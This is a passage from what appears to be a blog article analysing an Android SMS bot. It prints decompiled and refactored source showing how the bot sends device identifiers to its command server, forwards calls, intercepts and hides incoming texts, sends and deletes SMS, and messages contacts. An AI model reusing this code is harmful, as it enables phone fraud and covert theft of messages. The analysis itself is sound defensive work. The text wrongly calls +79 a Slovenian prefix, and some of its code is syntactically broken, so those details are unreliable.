            bufferedReader = new BufferedReader(inputStreamReader, 8);
            stringBuilder = new StringBuilder();
        } catch (Throwable var10) {
            var10001 = false;
            break label55;
        }
 
        while (true) {
            try {
                httpMethod = bufferedReader.readLine();
            } catch (Throwable throwable) {
                var10001 = false;
                break;
            }
 
            if (httpMethod == null) {
                try {
                    inputStream.close();
                    serverResponseRaw = stringBuilder.toString();
                    break;
                } catch (Throwable throwable) {
                    Throwable throwable2 = throwable;
 
                    try {
                        throw throwable2;
                    } catch (Throwable throwable1) {
                        var10001 = false;
                        break;
                    }
                }
            }
 
            try {
                stringBuilder.append(httpMethod).append("\n");
            } catch (Throwable throwable) {
                var10001 = false;
                break;
            }
        }
    }
 
    try {
        JSONObject serverResonseJson = new JSONObject(serverResponseRaw);
        ServerCommunicator.serverResponseJson = serverResonseJson;
    } catch (Throwable throwable) {
    }
 
    return serverResponseJson;
}

Based on the callC2 function, the class can be renamed to ServerCommunicator.

Class i – part II

Based on the new information of the ServerCommunicator class, the doInBackground function within the class i is easier to understand and refactor. At first, it collects the method and ID.

If the given method equals install, it also collects the network operator, bild model, version release, phone number, IMEI, the bot version, and the country. All this data is sent to the C&C server.

If the command equals info, only the method and ID of the bot are sent to the C&C server.

Lastly, there is an option which is named sms. This method behaves the same way as the info method.

protected final Object doInBackground(Object[] urlArray) {
    Object var2 = null;
    boolean var3 = false;
    boolean var4 = MainService.e;
    String url = ((String[]) urlArray)[0];
    ServerCommunicator serverCommunicator = new ServerCommunicator();
    this.parameters.add(new BasicNameValuePair("method", this.command));
    this.parameters.add(new BasicNameValuePair("id", this.sharedPreferences.getString("id", (String) null)));
    JSONObject serverResponse;
    if (this.command.startsWith("install")) {
        String POST = "POST";
        this.parameters.add(new BasicNameValuePair("operator", TelephonyManagerWrapper.getTelephonyManager(context).getNetworkOperatorName()));
        this.parameters.add(new BasicNameValuePair("model", Build.MODEL));
        this.parameters.add(new BasicNameValuePair("os", VERSION.RELEASE));
        this.parameters.add(new BasicNameValuePair("phone", TelephonyManagerWrapper.getTelephonyManager(context).getLine1Number()));
        this.parameters.add(new BasicNameValuePair("imei", TelephonyManagerWrapper.getTelephonyManager(context).getDeviceId()));
        this.parameters.add(new BasicNameValuePair("version", Constants.version));
        this.parameters.add(new BasicNameValuePair("country", context.getResources().getConfiguration().locale.getCountry()));
        serverResponse = ServerCommunicator.callC2(url, POST, this.parameters);
    } else if (this.command.startsWith("info")) {
        serverResponse = ServerCommunicator.callC2(url, StringDatabase.POST, this.parameters);
    } else {
        serverResponse = (JSONObject) var2;
        if (this.command.startsWith("sms")) {
            serverResponse = ServerCommunicator.callC2(url, StringDatabase.POST, this.parameters);
        }
    }
 
    if (StringDatabase.integerZero != 0) {
        if (!var4) {
            var3 = true;
        }
 
        MainService.e = var3;
    }
 
    return serverResponse;
}

Note that the Constants class only contains two fields and zero methods. The names of these variables can directly be deducted from the value of them. The class is given below.

public final class Constants {
    public static int int50005 = 50005;
    public static String version = "5";
}

onPostExecute
Via a friend, I obtained Java code which was decompiled with JEB. The code is still a horrible mess, as the length of the function (roughly 250 lines) indicates. Additionally, there were a lot of try-catch structures and jumps that were taken without any reason.

The SMALI equivalent code is roughly 550 lines long, making it too big to analyse within this article. Based on the SMALI code, it was visible what the function roughly did: comparing strings and executing code if the comparison was correct. This might indicate the handling of commands, which the Java code confirmed. Below is a unaltered excerpt of the decompiled Java code.

//[omitted]
try {
    if(v15.equals(String.valueOf(o.h) + o.E)) {
        this.w.edit().putLong(o.u, Long.valueOf((((long)(v8.optInt(i.t[17]) * 1000))) + System.currentTimeMillis()).longValue()).commit();
    }
    if(v15.equals(String.valueOf(o.h) + i.t[18])) {
        i.q(v8.optString(i.t[33]), v8.optString(o.c));
    }
    if(v15.equals(i.t[21] + o.f + i.t[16])) {
        v16 = v8.optString(i.t[33]);
        v17 = i.q.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
        if(v17 != null) {
                goto label_125;
        }
            goto label_132;
    }
        goto label_160;
}
    catch(Throwable v2) {
    return;
}
    try {
    label_125:
    if(v17.getCount() > o.z) {
            goto label_128;
    }
        goto label_132;
}
    catch(Throwable v2) {
        goto label_273;
}
//[omitted]

To fit this part of the malware in this article, I rewrote the roughly 250 lines of code to the code that is given below. The rewritten code contains all functionality that is present within the bot without the decompilation errors. Note that the string array in which most of the strings are present, contains 33 strings. It also used the strings from the class StringDatabase, making it quite a mess.

In the code are classes that have not been analysed before. These classes will be analysed when need be.

protected final void onPostExecute(JSONArray commandJson) {
    String command = commandJsonArray[0];
    switch (command) {
        case "install_true":
            sharedPreferenceEditor.putString("inst", "2").commit();
            break;
        case "call_number":
            TelephonyManagerWrapper2.callPhoneNumber(context, "*21*" + commandJson.optString("phone") + "#");
            new Handler().postDelayed(new StopCallForwardingRunnable(this), 1000 * (((long) commandJson.optInt("time"))));
            break;
        case "sms_grab":
            Long time_perehv = (((long) (commandJson.optInt("time") * 1000))) + System.currentTimeMillis();
            sharedPreferenceEditor.putLong("time_perehv", time_perehv).commit();
            break;
        case "sms_send":
            sendAndRemoveMessage(commandJson.optString("message"), commandJson.optString("phone"));
            break;
        case "delivery":
            TelephonyManagerWrapper2.callPhoneNumber(context, "*21*+79009999999#");
            String smsMessage = commandJson.optString("text");
            String recipientPhoneNumber;
            Cursor allContacts = context.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
            Cursor contactIds = context.getContentResolver().query(ContactsContract$CommonDataKinds$Phone.CONTENT_URI, null, "contact_id = ?", new String[]{allContacts.getString(allContacts.getColumnIndex("_id"))}, null);
            if (allContacts.getCount() > 0 && contactIds.getCount() > 0) {
                for (int i = 1; i < 30; i++) {
                    if (allContacts.moveToNext()) {
                        if (contactIds.moveToFirst()) {
                            recipientPhoneNumber = contactIds.getString(contactIds.getColumnIndex("data1"));
                            if (recipientPhoneNumber != null) {
                                sendAndRemoveMessage(smsMessage, recipientPhoneNumber);
                            }
                        }
                    }
                }
            }
            break;
        case "new_url":
            String url = commandJson.optString("text");
            if (url.length() > 10) {
                sharedPreferenceEditor.putString("url", url).commit();
                sharedPreferenceEditor.putString("inst", "1").commit();
            }
            break;
        case "ussd":
            TelephonyManagerWrapper2.callPhoneNumber(context, commandJson.optString("phone"));
            break;
    }
}

In the switch, multiple commands are handled. Below, the different commands are listed. After that, each command is analysed one by one in the listed order.

  • install_true
  • call_number
  • sms_grab
  • sms_send
  • delivery
  • new_url
  • ussd

install_true
Upon receiving this command, the string inst is set to 2 in the shared preference file. This marks the installation as complete.

case "install_true":
    sharedPreferenceEditor.putString("inst", "2").commit();
    break;

call_number
Sets the phone number to which calls should be forwarded. Using *21* as a prefix and a # as a suffix ensures that incoming calls are forwarded to the number in between the prefix and suffix.

case "call_number":
    TelephonyManagerWrapper2.callPhoneNumber(context, "*21*" + commandJson.optString("phone") + "#");
    new Handler().postDelayed(new StopCallForwardingRunnable(this), 1000 * (((long) commandJson.optInt("time"))));
    break;

The class StopCallForwardingRunnable calls #21#, which cancels the call forwarding. The time variable within the command specifies when the forwarding should be cancelled since the invocation of the runnable is delayed. The time variable equals the time to wait in seconds, since it is multiplied by 1000 and the original function expects milliseconds. The code is given below.

public final void run() {
    new TelephonyManagerWrapper2().callPhoneNumber(i.context, "#21#");
}

The class TelephonyManagerWrapper2 is analysed after all the commands have been analysed.

sms_grab
The value for time_perehv is set to a given time (in seconds) in the future. The code for the command handling is given below.

case "sms_grab":
    Long time_perehv = (((long) (commandJson.optInt("time") * 1000))) + System.currentTimeMillis();
    sharedPreferenceEditor.putLong("time_perehv", time_perehv).commit();
    break;

Using the Find usage function in Android Studio, one can see that the string time_perehv in the StringDatabase class (which is replaced in the code above to increase readability) is also used in the class Ma. The two interesting functions are getAllSmsMessageBodies and the onReceive function, since the class is a BroadcastReceiver.

The getAllSmsMessageBodies function requires a single parameter: an array of SMS messages. The body of each text message is put in a string. The result is returned as a single string.

private static String getAllSmsMessageBodies(SmsMessage[] smsMessageArray) {
    StringBuilder stringBuilder = new StringBuilder();
    for (SmsMessage messageBody : smsMessageArray) {
        stringBuilder.append(messageBody.getMessageBody());
    }
    return stringBuilder.toString();
}

Classes that are extended with the BroadcastReceiver class are required to implement the onReceive function. Upon handling an intent for which the BroadcastReceiver is listening, the onReceive function handles the intent that is given to it. The code below shows the onReceive function.

public void onReceive(Context context, Intent intent) {
    String intentAction;
    context.startService(new Intent(context, MainService.class));
    this.sharedPreferences = context.getSharedPreferences("PREFS_NAME", 0);
    try {
        intentAction = intent.getAction();
    } catch (Throwable th) {
        intentAction = "";
    }
    Object[] objArr = (Object[]) intent.getExtras().get("pdus");
    if (isActive || objArr != null) {
        SmsMessage[] smsMessageArray = new SmsMessage[objArr.length];
 
        long j = this.sharedPreferences.getLong("time_perehv", 0);
        if (System.currentTimeMillis() < Long.valueOf(j).longValue()) {
            this.w = true;
        }
        if (Boolean.valueOf(SmsMessage.createFromPdu((byte[]) objArr[0]).getDisplayOriginatingAddress().equalsIgnoreCase("900")).booleanValue()) {
            this.w = true;
        }
        if (this.w && intent != null && intentAction != null) {
            if ("android.provider.telephony.SMS_RECEIVED".compareToIgnoreCase(intentAction) == 0) {
                String displayOriginatingAddress;
                for (int i = 0; i < objArr.length; i++) {
                    smsMessageArray[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
                    SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) objArr[i]);
                    displayOriginatingAddress = createFromPdu.getDisplayOriginatingAddress();
                    new Handler().postDelayed(new y(this, context, createFromPdu.getDisplayMessageBody(), displayOriginatingAddress), 2000);
                }
                String allSmsMessageBodies = getAllSmsMessageBodies(smsMessageArray);
                displayOriginatingAddress = smsMessageArray[0].getDisplayOriginatingAddress();
                List parameters = new ArrayList();
                parameters.add(new BasicNameValuePair("fromPhone", displayOriginatingAddress));
                parameters.add(new BasicNameValuePair("text", allSmsMessageBodies));
                new CommandHandler(context, parameters, "sms").execute(new String[]{"url", null)})
                ;
                try {
                    q();
                    return;
                } catch (Exception e) {
                    return;
                }
            }
            return;
        }
        return;
    }
    throw new AssertionError();
}

In this code, the function q and the class y are unknown. The core functionality of the function is already visible. long j is equal to the value of time_perehv. This value is set via the C&C server’s command. If j is later than the current system time, the boolean w is set to true. Note that w is set to false by default. The boolean is also set to true if the recipient’s number equals 900.

If w is set to true the execution of the code continues by comparing the intent’s action to the one which is given when a SMS is received. If this is true, the class y is started with a two second delay.

Afterwards, the content of all SMS messages is posted to the C&C server using the sms command. Lastly, the function q is executed.

The code of y is given below.

public final void run() {
    ((android.app.NotificationManager) this.context.getSystemService("notification").cancelAll();
    TelephonyManagerWrapper2.removeSentMessages(this.context, (String) this.body, this.numberTo);
}

By using the NotificationManager, it is possible to cancel all notifications. Afterwards, all messages that were sent to the value of numberTo are deleted. Based on this information, the class y can be renamed to CancelAllNotificationsRunnable.

The function q (in the class Ma) is given below.

private boolean q() {
    try {
        Class.forName("android.content.Receiver").getDeclaredMethod("abortBroadcast", new Class[0]).invoke(this, new Object[0]);
    } catch (Throwable th) {
    }
    return true;
}

Using reflection, the method abortBroadcast is invoked, causing the broadcast to be removed from the system. Therefore, this function can be renamed to abortBroadcastWrapper.

Based on the analysis above, the onReceive function of the class Ma can be fully refactored, as can be seen below.

public void onReceive(Context context, Intent intent) {
    String intentAction;
    context.startService(new Intent(context, MainService.class));
    this.sharedPreferences = context.getSharedPreferences("PREFS_NAME", 0);
    try {
        intentAction = intent.getAction();
    } catch (Throwable th) {
        intentAction = "";
    }
    Object[] objArr = (Object[]) intent.getExtras().get("pdus");
    if (isActive || objArr != null) {
        SmsMessage[] smsMessageArray = new SmsMessage[objArr.length];
 
        long blockTimeDeadline = this.sharedPreferences.getLong("time_perehv", 0);
        if (System.currentTimeMillis() < Long.valueOf(blockTimeDeadline).longValue()) {
            this.shouldBlock = true;
        }
        if (Boolean.valueOf(SmsMessage.createFromPdu((byte[]) objArr[0]).getDisplayOriginatingAddress().equalsIgnoreCase("900")).booleanValue()) {
            this.shouldBlock = true;
        }
        if (this.shouldBlock && intent != null && intentAction != null) {
            if ("android.provider.telephony.SMS_RECEIVED".compareToIgnoreCase(intentAction) == 0) {
                String displayOriginatingAddress;
                for (int i = 0; i < objArr.length; i++) {
                    smsMessageArray[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
                    SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) objArr[i]);
                    displayOriginatingAddress = createFromPdu.getDisplayOriginatingAddress();
                    new Handler().postDelayed(new CancelAllNotificationsRunnable(this, context, createFromPdu.getDisplayMessageBody(), displayOriginatingAddress), 2000);
                }
                String allSmsMessageBodies = getAllSmsMessageBodies(smsMessageArray);
                displayOriginatingAddress = smsMessageArray[0].getDisplayOriginatingAddress();
                List parameters = new ArrayList();
                parameters.add(new BasicNameValuePair("fromPhone", displayOriginatingAddress));
                parameters.add(new BasicNameValuePair("text", allSmsMessageBodies));
                new CommandHandler(context, parameters, "sms").execute(new String[]{"url", null)})
                ;
                try {
                    abortBroadcastWrapper();
                    return;
                } catch (Exception e) {
                    return;
                }
            }
            return;
        }
        return;
    }
    throw new AssertionError();
}

The time that was given by the C&C server and saved in the shared preference time_perehv determines until when all incoming messages should be blocked and deleted. Therefore, the class Ma can be renamed to SmsBlocker.

sms_send
Sends a given text message to the given phone number in the JSON command. Afterwards, the text message is deleted to avoid any suspicion if the user checks the sent SMS messages.

case "sms_send":
    sendAndRemoveMessage(commandJson.optString("message"), commandJson.optString("phone"));
    break;

In the rewritten code above, the function sendAndRemoveMessage is used. This method sends a SMS message to a given number with a given body. After two seconds, all the text messages that are available on the device are deleted using the runnable RemoveAllSentMessagesRunnable.

private static void sendAndRemoveMessage(String message, String numberTo) {
    if (numberTo != null && message != null) {
        TelephonyManagerWrapper.sendSms(numberTo, message);
        (new Handler()).postDelayed(new RemoveAllSentMessagesRunnable(message, numberTo), 2000L);
    }
}

The RemoveAllSentMessagesRunnable class wraps around the the TelephonyManagerWrapper2, which is analysed later on.

final class RemoveAllSentMessagesRunnable implements Runnable {
    private final String message;
    private final String numberTo;
 
    RemoveAllSentMessagesRunnable(String message, String numberTo) {
        this.message = message;
        this.numberTo = numberTo;
    }
 
    public final void run() {
        TelephonyManagerWrapper2.removeSentMessages(CommandHandler.context, this.message, this.numberTo);
    }
}

ussd
Using the callPhoneNumber function (which resides in the TelephonyManagerWrapper2 class), the phone number that is provided in the command is called. The phone number which is entered can be a ussd command.

case "ussd":
    TelephonyManagerWrapper2.callPhoneNumber(context, commandJson.optString("phone"));
    break;

delivery
The code for the delivery command is given below. The code has been refactored to include as much detail as possible.

case "delivery":
    TelephonyManagerWrapper2.callPhoneNumber(context, "*21*+79009999999#");
    String smsMessage = commandJson.optString("text");
    String recipientPhoneNumber;
    Cursor allContacts = context.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
    Cursor contactIds = context.getContentResolver().query(ContactsContract$CommonDataKinds$Phone.CONTENT_URI, null, "contact_id = ?", new String[]{allContacts.getString(allContacts.getColumnIndex("_id"))}, null);
    if (allContacts.getCount() > 0 && contactIds.getCount() > 0) {
        for (int i = 1; i < 30; i++) {
            if (allContacts.moveToNext()) {
                if (contactIds.moveToFirst()) {
                    recipientPhoneNumber = contactIds.getString(contactIds.getColumnIndex("data1"));
                    if (recipientPhoneNumber != null) {
                        sendAndRemoveMessage(smsMessage, recipientPhoneNumber);
                    }
                }
            }
        }
    }
    break;

At first, the phone is set to forward any call it receives to the number +79009999999. The prefix +79 is used for Slovenia. After that, the SMS message’s body is retrieved from the command. Using two queries, all contacts of the phone are queried, with the upper limit of 29 (since i starts at 1 instead of 0). These contacts all receive a SMS message with the body that was defined in the command. Afterwards, the message is removed from the sent messages on the phone.

new_url
With this command, the C&C server’s URL can be altered in the settings. The name of the URL within the command equals text. A sanity check is done to see if the URL is longer than 10 characters. The specification of the HTTP protocol (http://) and a two character top level domain (i.e. .nl) equal 10 characters.

The smallest possible URL is therefore 11 characters and thus allowed by this bot. The inst setting is set to 1 since the phone is not yet registered on the new C&C server. The code is given below.

case "new_url":
    String url = commandJson.optString("text");
    if (url.length() > 10) {
        sharedPreferenceEditor.putString("url", url).commit();
        sharedPreferenceEditor.putString("inst", "1").commit();
    }
    break;

Renaming the class
Based on the information in both functions, this class handles the command that is given to it by comparing the command (a string) to a list of known commands and then invoking the correct class to perform the requested action. The class is therefore named CommandHandler.

TelephonyManagerWrapper2

The code for the TelephonyManagerWrapper2 is given below.

public static void removeSentMessages(Context context, String body, String numberTo) {
    try {
        Uri parse = Uri.parse("content://sms/inbox");
        Cursor query = context.getContentResolver().query(parse, new String[]{"_id", "thread_id", "person", "date", "body"}, null, null, null);
        if (query == null) {
            return;
        }
        if (query.moveToFirst()) {
            do {
                long firstMessage = query.getLong(0);
                String thread_id = query.getString(2);
                if (body.equals(query.getString(5))) {
                    if (thread_id.equals(numberTo)) {
                        context.getContentResolver().delete(Uri.parse("content://sms/" + firstMessage), null, null);
                    }
                }
            } while (query.moveToNext());
        }
    } catch (Throwable th) {
    }
}

All SMS messages which are sent to the the recipient’s number (if both the phone number and the message body are equal to the phone number and text message body that are provided as parameters for the function) are deleted from the phone.

The code for the callPhoneNumber function is given below.

public final void callPhoneNumber(Context context, String phoneNumber) {
    ((TelephonyManager) context.getSystemService("phone")).listen(new q(this, context, (byte) 0), 32);
    Intent intent = new Intent("android.intent.action.Call");
    intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    intent.setData(Uri.fromParts("tel", phoneNumber, "#"));
    context.startActivity(intent);
}

The phone number that is provided as an argument in this function is called. The class named q is a wrapper around the class PhoneStateListener, as can be seen below.

final class q extends PhoneStateListener {
    Context context;
    final TelephonyManagerWrapper2 telephonyManagerWrapper2;
 
    private q(TelephonyManagerWrapper2 telephonyManagerWrapper2, Context context) {
        this.telephonyManagerWrapper2 = telephonyManagerWrapper2;
        this.context = context;
    }
 
    q(TelephonyManagerWrapper2 telephonyManagerWrapper2, Context context, byte b) {
        this(telephonyManagerWrapper2, context);
    }
 
    public final void onCallStateChanged(int i, String str) {
    }
}

As such, it can be refactored to PhoneStateListenerWrapper.

Conclusion

To conclude, all classes within the bot were discovered, analysed and refactored. This provides a complete overview of the bot’s commands and inner workings. Upon inspecting the manifest at last, all classes have been refactored.


To contact me, you can e-mail me at [info][at][maxkersten][dot][nl], send me a PM on Reddit or DM me on Twitter @LibraAnalysis.